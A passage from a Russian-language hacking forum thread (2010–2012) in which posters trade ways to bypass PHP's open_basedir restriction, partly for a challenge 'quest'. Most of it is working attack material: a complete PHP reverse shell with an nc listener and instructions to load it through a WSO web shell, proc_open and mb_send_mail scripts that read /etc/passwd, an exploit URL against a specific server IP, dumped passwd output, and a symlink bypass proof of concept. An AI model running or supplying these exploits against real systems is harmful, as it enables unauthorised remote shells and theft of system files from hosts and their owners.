Тестировал на 5.3.3 win, но по идее никаких фиксов не было до самой новой версии

Последний раз редактировалось BlackFan; 24.12.2010 в 16:10..
BlackFan вне форума   Ответить с цитированием
Старый 24.12.2010, 16:02   #3
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

BlackFan укажи плиз на каких версиях пыха тестировалось?

И кстати имхо стоит еще учитывать как крутиться пхп, как mod_php или как CGi/FastCGI.
Pr0xor вне форума   Ответить с цитированием
Старый 26.12.2010, 21:18   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

касаемо квеста от FIXER - можете прямо сейчас проверить:

1. Обходит open_basedir (влючая полноценный листинг и чтение файлов)
2. Позволяет выполнять системные команды, которые, как не странно, из шелла не работают (например ls -la, cat, ps aux)
3. Полноценный бекконект, на php, со всеми возможностями

уже выкладывал в полезных скриптах, но либо удалили, либо перенесли

# Заливаем такой файл /lalalalalalala/test.php:

В начале скрипта просто прописать ваш IP и порт

PHP код:
<?php  
set_time_limit 
(0);$VERSION="1.0";$ip="127.0.0.1";$port=31337;$chunk_size=1400;$write_a=null;$error_a=null;$shell="uname -a; w; id; /bin/sh -i";$daemon=0;$debug=0;if(function_exists("pcntl_fork")){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon 1;}else{printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec = array(=> array("pipe""r"),=> array("pipe""w"),=> array("pipe""w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock$read_a)){if($debugprintit("SOCK READ");$input=fread($sock$chunk_size);if($debugprintit("SOCK: $input");fwrite($pipes[0], $input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debugprintit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}  
?>
# У себя:

nc -l -n -v -p 31337

# а потом любым способом запустить скрипт test.php, например так:

в шелле(WSO) в Execution PHP-code набираем:

include('/lalala/test.php');

и лазием и смотрим где хотим и что хотим и выполняем системные команды

tested on PHP 5.2.14 ^_^

PS: Понятно, что работать будет не везде, но как вариант

Последний раз редактировалось Pashkela; 26.12.2010 в 21:30..
Pashkela вне форума   Ответить с цитированием
Старый 27.12.2010, 21:34   #5
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Еще один способ обхода open_basedir [proc_open], опять же можно потестить на квесте от FIXER (php 5.2.14):

PHP код:
<?php 
$descriptorspec 
= array(
   
=> array("pipe""r"),  // stdin это канал, из которого потомок будет читать
   
=> array("pipe""w"),  // stdout это канал, в который потомок будет записывать
   
=> array("file""/tmp/error-output.txt""a"), // stderr это файл для записи
);
$process proc_open("php"$descriptorspec$pipes);
if (
is_resource($process)) {
    
// $pipes выглядит теперь примерно так:
    // 0 => записываемый дескриптор, соединённый с дочерним stdin
    // 1 => читаемый дескриптор, соединённый с дочерним stdout
    // Любой вывод ошибки будет присоединён к /tmp/error-output.txt

    
fwrite($pipes[0], "<?php echo file_get_contents('/etc/passwd');?>");
    
fclose($pipes[0]);

    while(!
feof($pipes[1])) {
        echo 
fgets($pipes[1], 1024);
    }
    
fclose($pipes[1]);
    
// Важно, чтобы вы закрыли любые каналы до вызова
    // proc_close, чтобы исключить тупиковую блокировку
    
$return_value proc_close($process);

    echo 
"command returned $return_value\n";
}
?>
В паблике не видел, хотя пример скрипта взят из паблика)

http://pyramidin.narod.ru/php42/f/proc-open.html

PS: только тут один нюанс, чтобы прочитать /FIRSTCODE, надо подниматься выше по каталогам, примерно так (а не просто /FIRSTCODE):

../../../../../../../../../../../../../FIRSTCODE

кстати относительно тех ссылок, что выложены вообще в теме ТС-ом ( CTRL+F "proc_open"), сплойт гораздо проще получился + не надо компилировать/подменять никакие библиотеки, просьба потестить на РАЗНЫХ платформах - в данном случае:

uname -a

Linux vds 2.6.18-194.17.1.el5.028stab070.7 #1 SMP Fri Oct 1 14:17:14 MSD 2010 i686 [exploit-db.com]

PHP 5.2.14 <--- что есть не так уж и кисло

Последний раз редактировалось Pashkela; 27.12.2010 в 21:55..
Pashkela вне форума   Ответить с цитированием
Старый 27.12.2010, 22:17   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

НУ и до кучи выложу оставшиеся способы для этого квеста для просмотра /FIRSTCODE - те, которые сработали (понимаю, что уже может выглядит как пиар квеста, но просто по именно по сабжу):

1. http://www.exploit-db.com/exploits/10557/ - озвучено Джоком в теме
2. Заливаем такой test.php: - озвучено Джоком в теме

PHP код:
<?php  
        
if (isset($_REQUEST['file'])) {  
                
$file "sendlog";  
                if (
file_exists($file)) unlink($file);  
                
$extra "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;  
                
mb_send_mail(NULLNULLNULLNULL$extra);  
                echo 
"<pre>".file_get_contents($file)."</pre>";  
        }  
?>
EXPLOIT:

PHP код:
http://194.28.132.13/images/stories/test.php?file=/FIRSTCODE 
Pashkela вне форума   Ответить с цитированием
Старый 27.12.2010, 23:11   #7
Dr.Z3r0
 
Аватар для Dr.Z3r0
 
Регистрация: 05.07.2010
Сообщений: 101
Репутация: 156
По умолчанию

Вообще я бы не назвал бы все эти способы обходом бейсдира, так как фактически они основываются на выполнении системных команд. Хз почему на квесте фиксера не работает выполение команд через функции аля system и тд, но суть не в этом.

Хотя бекконект написанный на пхп, меня, откровенно говоря, приколол)
__________________
На просьбы о помощи в sql-injection в ПМ не отвечаю. Для этих вопросов есть специальные темы.

Последний раз редактировалось Dr.Z3r0; 27.12.2010 в 23:15..
Dr.Z3r0 вне форума   Ответить с цитированием
Старый 03.12.2011, 04:36   #8
kfor
 
Аватар для kfor
 
Регистрация: 27.01.2011
Сообщений: 120
Репутация: 39
По умолчанию

У меня есть 2 перловских скрипта (не сам писал) на случай если нужно получить доступ к tty сервера у которого нету интернета, ну точнее у которого доступен тока на вход web. Создаётся тунель.
Но есть 2 недочёта
1)лагищи нереальные.
2) В последний раз когда он мне понадобился было год назад и я точно помню оно работало. А ща ну никак не могу заставить работать, несколько часов с товарищем копались и прыгали через обруч, но оно точно работало.

Нужно в этой теме?
kfor вне форума   Ответить с цитированием
Старый 03.12.2011, 20:55   #9
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
/usr/bin/procmail /etc/passwd 2>&1
procmail: Skipped "root"
procmail: Skipped "x:0:0:root:/root:/bin/bash"
procmail: Skipped "sys"
procmail: Skipped "x:3:3:sys:/dev:/bin/sh"
procmail: Skipped "man"
procmail: Skipped "x:6:12:man:/var/cache/man:/bin/sh"
procmail: Skipped "news"
procmail: Skipped "x:9:9:news:/var/spool/news:/bin/sh"
procmail: Skipped "www"
procmail: Skipped "-data:x:33:33:www-data:/var/www:/bin/sh"
Цитата:
man /etc/passwd 2>&1
<standard input>:7: warning [p 1, 0.5i]: cannot adjust line
<standard input>:8: warning [p 1, 0.7i]: cannot adjust line
<standard input>:9: warning [p 1, 0.8i]: cannot adjust line
<standard input>:10: warning [p 1, 1.0i]: cannot adjust line
<standard input>:11: warning [p 1, 1.2i]: cannot adjust line
<standard input>:12: warning [p 1, 1.3i]: cannot adjust line
<standard input>:20: warning [p 1, 2.5i]: cannot adjust line
<standard input>:21: warning [p 1, 2.7i]: cannot adjust line
<standard input>:22: warning [p 1, 2.8i]: cannot adjust line
<standard input>:24: warning [p 1, 3.2i]: cannot adjust line
<standard input>:26: warning [p 1, 3.5i]: cannot adjust line
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:dae-
mon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13roxy:/bin:/bin/sh www-data:x:33:33:www-da-
ta:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-
Reporting System (admin):/var/lib/gnats:/bin/sh no-
body:x:65534:65534:nobody:/nonexistent:/bin/sh libu-
uid:x:100:101::/var/lib/libuuid:/bin/sh
pcweb:x:1000:1000cweb,,,:/home/pcweb:/bin/bash
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/var/lib/mysql:/bin/false Debian-
exim:x:103:105::/var/spool/exim4:/bin/false
bind:x:104:107::/var/cache/bind:/bin/false proft-
pd:x:105:65534::/var/run/proftpd:/bin/false
ftp:x:106:65534::/home/ftp:/bin/false ftpuser:x:1001:1001roftpd
user:/bin/null:/bin/false ntp:x:107:108::/home/ntp:/bin/false
vmail:x:5000:5000::/home/vmail:/bin/sh post-
fix:x:108:109::/var/spool/postfix:/bin/false dove-
cot:x:109:111ovecot mail server,,,:/usr/lib/dovecot:/bin/false
amavis:x:110:112:AMaViS system user,,,:/var/lib/amavis:/bin/sh
clamav:x:111:113::/var/lib/clamav:/bin/false medi-
atomb:x:112:115:MediaTomb Server,,,:/var/lib/medi-
atomb:/usr/sbin/nologin
хз или пригодится

Последний раз редактировалось Pashkela; 03.12.2011 в 21:04..
Pashkela вне форума   Ответить с цитированием
Старый 30.03.2012, 17:28   #10
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Обход open_basedir для 5.3/5.4 (нужна директива апача FollowSymlinks):
Цитата:
PoC:
127# cat sym.php
<?php
symlink("/etc/passwd", "./symlink");
?>
127# php sym.php
PHP Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in /www/test/sym.php on line 2
Warning: symlink(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www) in /www/test/sym.php on line 2

open_basedir will disallow /etc/passwd.

Let`s see:
127# ls -la
total 8
drwxr-xr-x 2 www www 512 Oct 20 00:33 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
127# pwd
/www/test
127# cat kakao.php
<?php
mkdir("abc");
chdir("abc");
mkdir("etc");
chdir("etc");
mkdir("passwd");
chdir("..");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
mkdir("abc");
chdir("abc");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");
?>

127# php kakao.php
127# ls -la
total 12
drwxr-xr-x 4 www www 512 Oct 20 00:37 .
drwxr-xr-x 13 www www 1536 Oct 20 00:26 ..
drwxr-xr-x 4 www www 512 Oct 20 00:37 abc
lrwxr-xr-x 1 www www 27 Oct 20 00:37 exploit -> tmplink/../../../etc/passwd
-rw-r--r-- 1 www www 356 Oct 20 00:32 kakao.php
-rw-r--r-- 1 www www 45 Oct 20 00:26 sym.php
drwxr-xr-x 2 www www 512 Oct 20 00:37 tmplink
127# cat exploit
# passwd
#
root:*:0:0:god:/root:/bin/csh
..

now "tmplink" is a directory. so link "exploit" will be "../../etc/passwd". We don't need bypass open_basedir, it is a design mistake. PHP will allow "tmplink/../../../etc/passwd" because ./tmplink/../../../etc/passwd really exists.
Готовый скрипт: http://cxsecurity.com/issue/WLB-2012030270

Последний раз редактировалось SynQ; 30.03.2012 в 18:11..
SynQ вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot